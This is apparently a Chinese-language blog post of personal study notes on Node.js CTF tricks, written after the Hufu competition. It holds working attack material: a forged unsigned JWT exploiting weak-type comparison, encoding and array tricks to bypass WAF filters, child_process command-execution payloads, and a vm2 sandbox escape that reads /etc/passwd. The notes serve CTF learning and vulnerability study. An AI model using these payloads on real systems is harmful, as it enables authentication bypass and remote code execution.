美文网首页
学习笔记-Nodejs相关

学习笔记-Nodejs相关

作者: byc_404 | 来源:发表于2020-04-21 17:27 被阅读0次

    打算写写Node里面最近遇到的知识了。
    主要还是跟周末的虎符有关吧。作为二队打的,学校虽如期进入线下,但是自己这次还是有点小难受。刷了这么多题了,结果碰到两道并不算擅长的Node题目。只做出来第一道题。吐血的是第二题当时很清楚肯定是Node.js沙盒逃逸,也按照大致流程构造了payload,结果就是打不通。赛后同样的payload上buu一试瞬间成功执行,心态炸裂。
    老实说Node题也算做了不少次了,相关的漏洞除了原型链比较熟悉其他的都不怎么了解。打算近期一方面把相关的题目多看下,然后就是基础语法巩固下,并且总结几个遇到的有用的trick.

    弱类型

    Node.js使用的是javascript的语法。简单的说 Node.js 就是运行在服务端的 JavaScript。毫无疑问作为弱类型的javascript自然会把这种特性带到服务端,产生一些奇怪的效用。

    简单的弱类型的例子

    var a =200;
    var b ="1";
    var c= a + b;
    console.log(c);
    
    //2001
    

    字符串与数字经由一个二元运算符最后返回的是数字类型。

    var obj = {name:'jack'}
    if(obj){
        console.log(1);
    }
    

    对象可以转化为布尔值。

    String.prototype.fn = function(){return this};
    var a = 'hello';
    alert(typeof a.fn());
    alert(a.fn());
    

    本该返回对象的函数a.fn()隐式的转换成了字符串“hello”显示.

    这样就可以借由虎符第一个easy_login的题目来探讨下nodejs的弱类型了。

    这道题不出意外应该是按照https://github.com/justcatthefish/ctf/tree/master/2019-04-25-Angstrom2019/web#cookie-cutter 这个改的。原题跟此处的校验几乎一样。那我们来看看虎符这题的关键校验代码:

    
    const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
    console.log(sid)
    
    if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
       throw new APIError('login error', 'no such secret id');
    }
    const secret = global.secrets[sid];
    const user = jwt.verify(token, secret, {algorithm: 'HS256'});
    

    去看原题就能学到姿势:由于sid是跟据第二个'.'的内容取出来的,如果稍微设计一下,比如令值为纯任意字母字符串,就能过那个if的判断并使secrets[sid]返回undefined.
    这样配合上前面我们置为None的加密方式,即可在jwt.verify时成功解码。

    本题跟原题有一丁点的区别:!(sid < global.secrets.length && sid >= 0))这段代码看似限制了我们只能传有效的数组键值即数字,但是数字字符串依旧有效

    global.secrets=['supersecretkeyyouwillneverknow','2333333'];
    const sid="00";
    console.log(sid);
    console.log(global.secrets.length);
    if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
        console.log("no");
    }
    const secret = global.secrets[sid];
    console.log(secret);
    

    假设这是我们已经注册过2个用户的情况。现在看看执行结果


    没有报错。说明正如我们所料,进行>或者>=这两个运算符后字符串sid被转换成了数值类型即 0(number) 0<1 && 0>=0
    同时下面的数组键值不存在,即secrets["00"]不存在。
    所以这题可以注册n个用户,(至少要有一个),然后传个小于长度的数字字符串就行。

    再简单一点的,直接传一个空字符串当然也是可以的。
    空数组也是同样的道理。且数组如果传元素的话也会遵循跟上面字符串一样的转化规律
    最后加密即可

    import jwt
    
    payload = {'secretid': "00", 'username': 'admin', 'password': '123'}
    print(jwt.encode(payload, '', algorithm=None))
    

    值得一提的是,纯字母字符串与数字比较既不满足大于等于也不满足小于等于,这也是国际赛原题的小技巧。

    使用编码\模板字符\数组等绕过waf

    Node.js在编码上也有许多可以绕过的技巧
    常见的比如八进制,16进制,unicode

    "constructor"
    //oct
    "\143\157\156\163\164\162\165\143\164\157\162"
    //hex
    "\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72"
    //unicode
    "\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072"
    
    
    

    假如想调用命令

    []['constructor']['constructor']('alert(12345)')()
    [].constructor.constructor('alert(12345)')()
    Array.constructor('alert(12345)')()
    

    //上面三种写法是等价的.之前公益赛NodeGame也提到过。


    但是要注意一点。这里其他进制以及unicode想要成功被解析成字符串还是得要单或双引号。否则无法成功执行。那么遇到过滤了单双引号的waf怎么办呢?

    这里再给出一种方法。比如这次虎符just_escape我使用的绕过waf的payload:\u0065val(String.fromCharCode(116,114,121,123,10,32,32,32,32,32,32......))

    unicode的绕过不必多说后面字符串使用String.fromCharCode也是xss中经常用到的技巧了。
    就是这个payload在icq打不通...buu可行。不然我差点怀疑方法构造有问题了...难受

    还有一种方法是从赵师傅那里学来的模板字符串的方法,其实自己之前也用过,就是没深刻理解。

    简单来用就是用反引号代替双引号.所以上面说只有单双引号才能解析进制是错误的。


    但是经实验后发现,只有八进制会在被反引号嵌套时出现报错。这点暂时没找到原因,我猜测可能跟八进制过于简便的写法有关吧。
    (js语法中只要"\143"这种写法就默认为八进制,最大为"\377")

    而模板字符串的写法允许我们进行字符拼接


    当然针对虎符这道题还有数组绕过的一个姿势,因为只是接受参数,然后进行waf的辨别,使用数组自然也是可行的
    构造payload上简单了许多。其实原理跟上面弱类型的trick一样,当数组分别为

    ["process"] //waf
    ["global.process"]  // 绕过
    

    上面被waf挡住显然是因为数组的值直接提取出来与waf中过滤的每一个关键字比较。但是如果是完整的payload字符串显然不会被任何单个的waf关键字匹配到。

    下面这个paypal的RCE例子也可以参考下
    https://artsploit.blogspot.com/2016/08/pprce2.html

    关于数组绕过还有一个有趣的trick来自HackTM2020 Draw with us
    https://xz.aliyun.com/t/7177#toc-4
    里面有一个点,需要获取n的值。但是n又被waf挡住了

    function checkRights(arr) {
      let blacklist = ["p", "n", "port"];
      for (let i = 0; i < arr.length; i++) {
        const element = arr[i];
        if (blacklist.includes(element)) {
          return false;
        }
      }
      return true;
    }
    

    这里同样可以使用数组绕过。在js中,a[["n"]]还是被理解成a.n 所以waf匹配不到,但是这样仍旧能获取n这个键的值。

    所以以上几种写法应该可以解决大多数waf了。

    命令执行与沙盒逃逸

    js里调用函数有一个自己之前一直不太懂的点终于弄明白了。

    • IIFE
    (function(){ /* code */ }());
    
    (function(){ /* code */ })();
    

    这是IIFE(立即调用函数表达式)的写法。javascript在遇到它之后将立即执行函数。

    在反序列化漏洞CVE-2017-5941 中有一处eval的拼接执行,就是用到了这个。因为eval后的语句是被括号包裹了的。其实说起来也简单。加个括号而已。然后命令在反序列化时直接触发。

    然后关于命令执行的几个常见payload,比如原型链中常用的payload

    require('child_process').exec('calc')
    global.process.mainModule.constructor._load('child_process').exec('calc')
    global.process.mainModule.require('child_process').exec('calc')
    

    大体上就这几种执行命令的方式。其实简单说就是能获取到child_process这一步就行了。因为Node.js中的chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。
    而直接require有时候是获取不到的,这点p牛也讲过了。

    沙盒逃逸

    其实沙盒逃逸的题也不时第一次做。之前HITCON也有过这样的题,Confidence上也有沙盒的题。但是这次比赛还是拉胯了。虽然是环境的问题,但要是接触多的话换payload打应该是很轻松的吧。所以还是简单接触下

    https://github.com/patriksimek/vm2/issues
    首先要找现成payload的话,直接上github上issue找就好了,有位dalao专业研究沙盒逃逸,基本上所有版本的payload都是他找的,直接issue里搜breakout即可。

    然后是原理。其实就是相当于给个沙盒环境。像process这样的危险代码基本都是undefined的。所以才有了通过this.constructor.constructor('return this.process.env')()
    bypass的payload出现。(跟pythonssti沙盒逃逸差不多不是吗)
    vm2相比于vm环境限制更加严格。原先通过this获取constructor的方法不再行得通。目前主流的方法主要是通过trycatch语句构造。通过try语句中报错进入到catch块,假如catch块捕捉到的错误比如是由host扔出的,就能利用不加限制的host一步步获取属性到require进而命令执行。

    try {
            this.process.removeListener(); 
        } 
        catch (host_exception) {
            console.log('host exception: ' + host_exception.toString());
            host_constructor = host_exception.constructor.constructor;
            host_process = host_constructor('return this')().process;
        child_process = host_process.mainModule.require("child_process");
        console.log(child_process.execSync("cat /etc/passwd").toString());
        }
    

    虎符这题则基本就是按hackim的babyjs改的。前端都几乎一样。只不过vm版本换成了3.8.3...所以搜下issue就行了。bypass用上面总结的方法都可以。

    关于沙盒逃逸的一些细节我也只是略懂。打算过段时间把国际赛上js沙盒逃逸的题补一下。目前的套路简单有:
    Error().stack
    使用此命令可以爆出stack strace.相当于是一个FUZZ手段了.爆出错误信息如vm.js或者vm2.js就可以去收集对应的payload了。

    日后再碰到沙盒逃逸的题也会放到文章里总结。希望自己能尽快上手Node.js吧。

    Reference

    https://xz.aliyun.com/t/7184
    https://pwnisher.gitlab.io/nodejs/sandbox/2019/02/21/sandboxing-nodejs-is-hard.html

    相关文章

      网友评论

          本文标题:学习笔记-Nodejs相关

          本文链接:https://www.haomeiwen.com/subject/jbdpihtx.html